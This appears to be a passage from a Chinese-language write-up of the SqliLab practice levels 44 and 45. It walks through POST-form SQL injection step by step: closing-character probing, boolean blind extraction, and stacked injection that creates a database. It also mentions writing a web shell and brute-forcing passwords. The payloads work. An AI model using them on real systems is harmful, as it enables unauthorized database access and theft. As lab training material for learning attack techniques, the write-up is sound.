2.7.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第18张图片

2.7.2. 判断注入点(关键步骤)

观察发现是POST型数据传送,参数为(login_user)和(login_password)以及(mysubmit=login),同时,观察到初始界面同SqliLab-42相似,考虑可能可以使用二次注入更改管理员(admin)的密码,但还是先尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(同时也发现创建新用户和更改密码的功能都无法使用了);
由于在之前的相关类型的题中,都是参数(login_password)存在注入,这里直接对其进行注入点测试;
EG:

login_user=1&login_password=1 or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=1&login_password=1' or 1=1 %23&mysubmit=Login
//服务器返回页面正确(预期正确),尝试用(1=2)进行构造;
login_user=1&login_password=1' or 1=2 %23&mysubmit=Login
//服务器返回错误(预期错误),判断参数(login_password)存在注入,闭合字符为(');

判断是否存在SQL语句报错提示
EG:

login_user=1&login_password=1')))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,无SQL语句报错提示,再次尝试;
login_user=1&login_password=1"&)))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,无SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在布尔盲注
由于服务器返回页面不存在回显,同时只有登录失败和登录成功两种情况,所以判断存在布尔盲注;

判断是否存在堆叠注入
EG:

...
//经过布尔盲注已经知道
login_user=Dumb&login_password=1' or left((select group_concat(schema_name) from information_schema.schemata),1)='i' %23&mysubmit=Login
//查询到Mysql中存在的数据库字符串中的第一个字符为(i),再次尝试;
...
//查询到Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
login_user=Dumb&login_password=1';create database hack_test %23&mysubmit=Login
//服务器返回错误,使用布尔盲注查询当前Mysql中是否存在(hack_test)数据库;
login_user=Dumb&login_password=1' or left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h' %23&mysubmit=Login 
//查询到Mysql中存在的数据库字符串中的第三十一个字符为(h),再次尝试;
...
login_user=Dumb&login_password=1' or left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test' %23&mysubmit=Login 
//查询到MySQL中的数据库有(information_schema,challenges,hack_test,...),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

经过对参数(login_password)测试,发现参数(login_password)存在注入,闭合字符为(’),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面不存在回显和SQL语句报错提示,可以考虑使用布尔盲注的方式来获取数据库信息,下面进行测试;

2.7.3. 使用布尔盲注获取数据库信息

EG:

login_user=Dumb&login_password=1' or left(database(),1)='s'  %23&mysubmit=Login 
//服务器返回页面正确,登录成功,查询到当前数据库名的第一个字符为(s);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-44结束;

2.8. SqliLab-45(POST型_堆叠注入(’)闭合)):
2.8.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十二)_堆叠注入_POST型/二次/报错注入/布尔/时间盲注(38~45)_第19张图片

2.8.2. 判断注入点(关键步骤)

观察发现是POST型数据传送,参数为(login_user)和(login_password)以及(mysubmit=login),同时,观察到初始界面同SqliLab-42相似,考虑可能可以使用二次注入更改管理员(admin)的密码,但还是先尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(同时也发现创建新用户和更改密码的功能都无法使用了);
由于在之前的相关类型的题中,都是参数(login_password)存在注入,这里直接对其进行注入点测试;
EG:

login_user=1&login_password=1 or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
login_user=1&login_password=1' or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
login_user=1&login_password=1" or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
login_user=1&login_password=1) or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
login_user=1&login_password=1] or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
login_user=1&login_password=1} or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('')代替(})进行构造;
login_user=1&login_password=1'' or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('")代替('')进行构造;
login_user=1&login_password=1'" or 1=1 %23&mysubmit=Login
//服务器返回页面错误(预期正确),尝试用('))代替('")进行构造;
login_user=1&login_password=1') or 1=1 %23&mysubmit=Login
//服务器返回页面正确(预期正确),尝试用(1=2)进行构造;
login_user=1&login_password=1') or 1=2 %23&mysubmit=Login
//服务器返回错误(预期错误),判断参数(login_password)存在注入,闭合字符为('));

判断是否存在SQL语句报错提示
EG:

login_user=1&login_password=1')))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,无SQL语句报错提示,再次尝试;
login_user=1&login_password=1"&)))) or 1=1 %23&mysubmit=Login
//服务器返回页面错误,无SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在布尔盲注
由于服务器返回页面不存在回显,同时只有登录失败和登录成功两种情况,所以判断存在布尔盲注;

判断是否存在堆叠注入
EG:

...
//经过布尔盲注已经知道
login_user=Dumb&login_password=1') or left((select group_concat(schema_name) from information_schema.schemata),1)='i' %23&mysubmit=Login
//查询到Mysql中存在的数据库字符串中的第一个字符为(i),再次尝试;
...
//查询到Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
login_user=Dumb&login_password=1');create database hack_test %23&mysubmit=Login
//服务器返回错误,使用布尔盲注查询当前Mysql中是否存在(hack_test)数据库;
login_user=Dumb&login_password=1') or left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h' %23&mysubmit=Login 
//查询到Mysql中存在的数据库字符串中的第三十一个字符为(h),再次尝试;
...
login_user=Dumb&login_password=1') or left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test' %23&mysubmit=Login 
//查询到MySQL中的数据库有(information_schema,challenges,hack_test,...),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

经过对参数(login_password)测试,发现参数(login_password)存在注入,闭合字符为(’)),存在堆叠注入(权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)),同时发现服务器返回页面不存在回显和SQL语句报错提示,可以考虑使用布尔盲注的方式来获取数据库信息,下面进行测试;

2.8.3. 使用布尔盲注获取数据库信息

EG:

login_user=Dumb&login_password=1') or left(database(),1)='s'  %23&mysubmit=Login 
//服务器返回页面正确,登录成功,查询到当前数据库名的第一个字符为(s);
...

获取其他信息的方法如上面示例的一样,至此,SqliLab-45结束;

3. 总结

当存在堆叠注入时,条件允许(权限足够)可以向数据库中添加信息(由于前端多数情况下是查看不到后面的第二个SQL语句执行结果,查询信息多用其他的方式如UNION联合查询等),二次注入可以利用这一点来获取相关数据库信息(利用正确的更改,查询等操作),如果知晓服务器中网站的绝对路径,并且能导出文件指定目录下,就可以向服务器中写入shell;对于POST型堆叠注入,同GET型一样,主要还是参数的注入点的判断有所不同,参数可能存在多个,如果参数不存在注入,则要考虑HTTP头是否存在注入,如果都不存在,只能使用密码爆破,猜解正确的账户密码,利用得到的账户密码,再进行其他的操作。

[如有错误,请指出,拜托了<( _ _ )> !!!]

你可能感兴趣的:(#,MYSQL注入学习,堆叠注入,二次注入,POST型注入)